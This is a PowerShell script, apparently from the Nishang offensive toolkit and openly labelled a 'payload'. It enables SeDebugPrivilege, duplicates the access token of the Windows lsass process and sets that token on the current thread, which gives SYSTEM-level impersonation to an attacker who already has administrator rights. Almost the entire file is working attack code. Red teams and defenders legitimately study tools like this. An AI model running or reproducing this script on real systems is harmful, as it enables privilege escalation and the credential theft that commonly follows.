
<# 
.SYNOPSIS 
Nishang payload which duplicates the Access token of lsass and sets it in the current process thread. 
 
.DESCRIPTION 
This payload duplicates the Access token of lsass and sets it in the current process thread. 
The payload must be run with elevated permissions. 

.EXAMPLE 
PS > Enable-DuplicateToken
 
.LINK 
http://www.truesec.com 
http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/05/use-powershell-to-duplicate-process-tokens-via-p-invoke.aspx
https://github.com/samratashok/nishang

.NOTES 
Goude 2012, TreuSec 
#> 





function Enable-DuplicateToken 
{ 
    [CmdletBinding()] 
    param() 
 
    $signature = @" 
    [StructLayout(LayoutKind.Sequential, Pack = 1)] 
     public struct TokPriv1Luid 
     { 
         public int Count; 
         public long Luid; 
         public int Attr; 
     } 
 
    public const int SE_PRIVILEGE_ENABLED = 0x00000002; 
    public const int TOKEN_QUERY = 0x00000008; 
    public const int TOKEN_ADJUST_PRIVILEGES = 0x00000020; 
    public const UInt32 STANDARD_RIGHTS_REQUIRED = 0x000F0000; 
 
    public const UInt32 STANDARD_RIGHTS_READ = 0x00020000; 
    public const UInt32 TOKEN_ASSIGN_PRIMARY = 0x0001; 
    public const UInt32 TOKEN_DUPLICATE = 0x0002; 
    public const UInt32 TOKEN_IMPERSONATE = 0x0004; 
    public const UInt32 TOKEN_QUERY_SOURCE = 0x0010; 
    public const UInt32 TOKEN_ADJUST_GROUPS = 0x0040; 
    public const UInt32 TOKEN_ADJUST_DEFAULT = 0x0080; 
    public const UInt32 TOKEN_ADJUST_SESSIONID = 0x0100; 
    public const UInt32 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY); 
    public const UInt32 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY | 
      TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE | 
      TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT | 
      TOKEN_ADJUST_SESSIONID); 
 
    public const string SE_TIME_ZONE_NAMETEXT = "SeTimeZonePrivilege"; 
    public const int ANYSIZE_ARRAY = 1; 
 
    [StructLayout(LayoutKind.Sequential)] 
    public struct LUID 
    { 
      public UInt32 LowPart; 
      public UInt32 HighPart; 
    } 
 
    [StructLayout(LayoutKind.Sequential)] 
    public struct LUID_AND_ATTRIBUTES { 
       public LUID Luid; 
       public UInt32 Attributes; 
    } 
 
 
    public struct TOKEN_PRIVILEGES { 
      public UInt32 PrivilegeCount; 
      [MarshalAs(UnmanagedType.ByValArray, SizeConst=ANYSIZE_ARRAY)] 
      public LUID_AND_ATTRIBUTES [] Privileges; 
    } 
 
    [DllImport("advapi32.dll", SetLastError=true)] 
     public extern static bool DuplicateToken(IntPtr ExistingTokenHandle, int 
        SECURITY_IMPERSONATION_LEVEL, out IntPtr DuplicateTokenHandle); 
 
 
    [DllImport("advapi32.dll", SetLastError=true)] 
    [return: MarshalAs(UnmanagedType.Bool)] 
    public static extern bool SetThreadToken( 
      IntPtr PHThread, 
      IntPtr Token 
    ); 
 
    [DllImport("advapi32.dll", SetLastError=true)] 
     [return: MarshalAs(UnmanagedType.Bool)] 
      public static extern bool OpenProcessToken(IntPtr ProcessHandle,  
       UInt32 DesiredAccess, out IntPtr TokenHandle); 
 
    [DllImport("advapi32.dll", SetLastError = true)] 
    public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid); 
 
    [DllImport("kernel32.dll", ExactSpelling = true)] 
    public static extern IntPtr GetCurrentProcess(); 
 
    [DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)] 
     public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, 
     ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen); 
"@ 
 
  $currentPrincipal = New-Object Security.Principal.WindowsPrincipal( [Security.Principal.WindowsIdentity]::GetCurrent()) 
  if($currentPrincipal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) -ne $true) { 
    Write-Warning "Run the Command as an Administrator" 
    Break 
  } 
 
  Add-Type -MemberDefinition $signature -Name AdjPriv -Namespace AdjPriv 
  $adjPriv = [AdjPriv.AdjPriv] 
  [long]$luid = 0 
 
  $tokPriv1Luid = New-Object AdjPriv.AdjPriv+TokPriv1Luid 
  $tokPriv1Luid.Count = 1 
  $tokPriv1Luid.Luid = $luid 
  $tokPriv1Luid.Attr = [AdjPriv.AdjPriv]::SE_PRIVILEGE_ENABLED 
 
  $retVal = $adjPriv::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) 
  
  [IntPtr]$htoken = [IntPtr]::Zero 
  $retVal = $adjPriv::OpenProcessToken($adjPriv::GetCurrentProcess(), [AdjPriv.AdjPriv]::TOKEN_ALL_ACCESS, [ref]$htoken) 
   
   
  $tokenPrivileges = New-Object AdjPriv.AdjPriv+TOKEN_PRIVILEGES 
  $retVal = $adjPriv::AdjustTokenPrivileges($htoken, $false, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) 
 
  if(-not($retVal)) { 
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error() 
    Break 
  } 
 
  $process = (Get-Process -Name lsass) 
  #$process.name
  [IntPtr]$hlsasstoken = [IntPtr]::Zero 
  $retVal = $adjPriv::OpenProcessToken($process.Handle, ([AdjPriv.AdjPriv]::TOKEN_IMPERSONATE -BOR [AdjPriv.AdjPriv]::TOKEN_DUPLICATE), [ref]$hlsasstoken) 
 
  [IntPtr]$dulicateTokenHandle = [IntPtr]::Zero 
  $retVal = $adjPriv::DuplicateToken($hlsasstoken, 2, [ref]$dulicateTokenHandle) 
  
  $retval = $adjPriv::SetThreadToken([IntPtr]::Zero, $dulicateTokenHandle) 
  
  if(-not($retVal)) { 
    [System.Runtime.InteropServices.marshal]::GetLastWin32Error() 
  } 
}
